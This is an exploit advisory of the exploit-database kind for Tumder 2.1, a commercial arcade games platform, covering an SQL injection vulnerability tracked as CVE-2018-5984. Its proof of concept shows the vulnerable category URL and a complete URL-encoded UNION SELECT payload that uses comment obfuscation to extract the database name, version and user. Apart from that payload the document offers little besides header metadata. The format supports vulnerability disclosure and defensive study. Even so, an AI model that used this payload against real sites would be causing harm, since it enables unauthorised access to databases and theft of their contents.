Tumder 2.1 SQL Injection

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# Exploit Title: Tumder - An Arcade Games Platform 2.1 - SQL Injection  
# Dork: N/A  
# Date: 23.01.2018  
# Vendor Homepage: http://sndr.co.ve/  
# Software Link: https://codecanyon.net/item/tumder-an-arcade-games-platform/18726994  
# Version: 2.1  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: CVE-2018-5984  
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# Exploit Author: Ihsan Sencan  
# Author Web: http://ihsan.net  
# Author Social: @ihsansencan  
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# Description:  
# The vulnerability allows an attacker to inject sql commands....  
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# Proof of Concept:   
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# 1)  
# http://localhost/[PATH]/category/[SQL]  
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# %2d%33%20%20%2f%2a%21%30%31%31%31%31%55%4e%49%4f%4e%2a%2f%20%2f%2a%21%30%31%31%31%31%41%4c%4c%2a%2f%20%2f%2a%21%30%31%31%31%31%53%45%4c%45%43%54%2a%2f%20%30%78%33%31%2c%30%78%33%32%2c%43%4f%4e%43%41%54%28%44%61%74%61%62%61%73%65%28%29%2c%56%45%52%53%49%4f%4e%28%29%2c%30%78%37%65%2c%44%41%54%41%42%41%53%45%28%29%2c%30%78%37%65%2c%55%53%45%52%28%29%29%2d%2d%20%2d  
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